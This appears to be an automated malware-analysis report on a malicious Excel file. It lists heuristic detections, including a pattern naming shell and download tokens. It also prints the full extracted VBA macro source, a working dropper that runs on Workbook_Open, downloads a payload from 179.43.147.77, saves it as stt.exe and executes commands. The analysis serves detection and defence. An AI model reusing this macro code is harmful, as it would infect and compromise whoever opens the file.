MALICIOUS
270
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The VBA macros in this Excel file contain a Workbook_Open event that triggers the execution of malicious code. This code utilizes CreateObject to download a file from the URL http://179.43.147.77/p2 and save it to disk, likely for execution. The presence of the SC_STR_CMD heuristic further suggests command-line execution, reinforcing the dropper functionality.
Heuristics 8
-
ClamAV: Doc.Dropper.Agent-6997659-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6997659-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
.write AppControl.Var_Q_1.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set AppControl.Var_Z1 = CreateObject(AppControl.Label2.Caption) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub WorkBook_open() -
Suspicious cmd.exe invocation with execution flag high SC_STR_CMDSuspicious cmd.exe invocation with execution flag
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://179.43.147.77/p2�� Referenced by macro
- http://t2.symcb.com0Referenced by macro
- http://tl.symcd.com0&Referenced by macro
- http://t1.symcb.com/ThawtePCA.crl0Referenced by macro
- http://tl.symcb.com/tl.crl0Referenced by macro
- https://www.thawte.com/cps0/Referenced by macro
- https://www.thawte.com/repository0WReferenced by macro
- http://tl.symcb.com/tl.crt0Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas🔏 SignedVBA project digital signature |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2966 bytes |
SHA-256: f92f7ee8b6ae3e2eb79f17cde7841c72ca0213263214ca07c5ce2a311ac62738 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
Pr.Show
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Anykey()
Dim time
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")
ExecuteExcel4Macro "MESSAGE(True, ""Debug"")"
#If Run Then
Dim varSet5
Dim varSet6
Dim varSet7
Dim varSet9
Dim varSet8
Dim varSet11
Dim varSet12
#End If
End Sub
Attribute VB_Name = "AppControl"
Attribute VB_Base = "0{F463D28B-7163-4835-96D7-3FA4086B3817}{09E8B003-CAAB-483C-AABD-F80A86FFA176}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Var_Z1 As Object
Public Var_Q_1 As Object
Public Var_Z2 As Object
Public Var_Q_2 As Object
Public Var_Z3 As Object
Public Var_Q_3 As Object
Public Sub Label5_Click()
Dim varSet5
Var_Q_1.Open Me.Label3.Caption, Me.T10_Text.Tag, False
Dim varSet6
End Sub
Public Sub S1000()
End Sub
Public Sub frfr4()
End Sub
Attribute VB_Name = "Modu"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub Attention()
Sheet1.Anykey
Set AppControl.Var_Z1 = CreateObject(AppControl.Label2.Caption)
Dim varSet4
Set AppControl.Var_Q_1 = CreateObject(AppControl.Label1.Caption)
Dim varSet3
AppControl.Label5_Click
AppControl.Var_Q_1.Send
With AppControl.Var_Z1
.Type = 1
End With
AppControl.Var_Z1.Open
With AppControl.Var_Z1
.write AppControl.Var_Q_1.responseBody
End With
#If Exec Then
AppControl.Var_Z1.savetofile "stt.e" & "xe", 2
#End If
ExecuteExcel4Macro AppControl.T10_Text.Text
ExecuteExcel4Macro "MESSAGE(True, ""4tear"")"
End Sub
Attribute VB_Name = "Pr"
Attribute VB_Base = "0{A8F45BD2-7971-4E44-8C30-4DBBBF7B51A1}{92DABAE7-8ACE-40AA-B958-9010C98F4967}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()
FUnt
Unload Me
End Sub
Sub FUnt()
Dim rd1 As New Modu
rd1.Attention
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.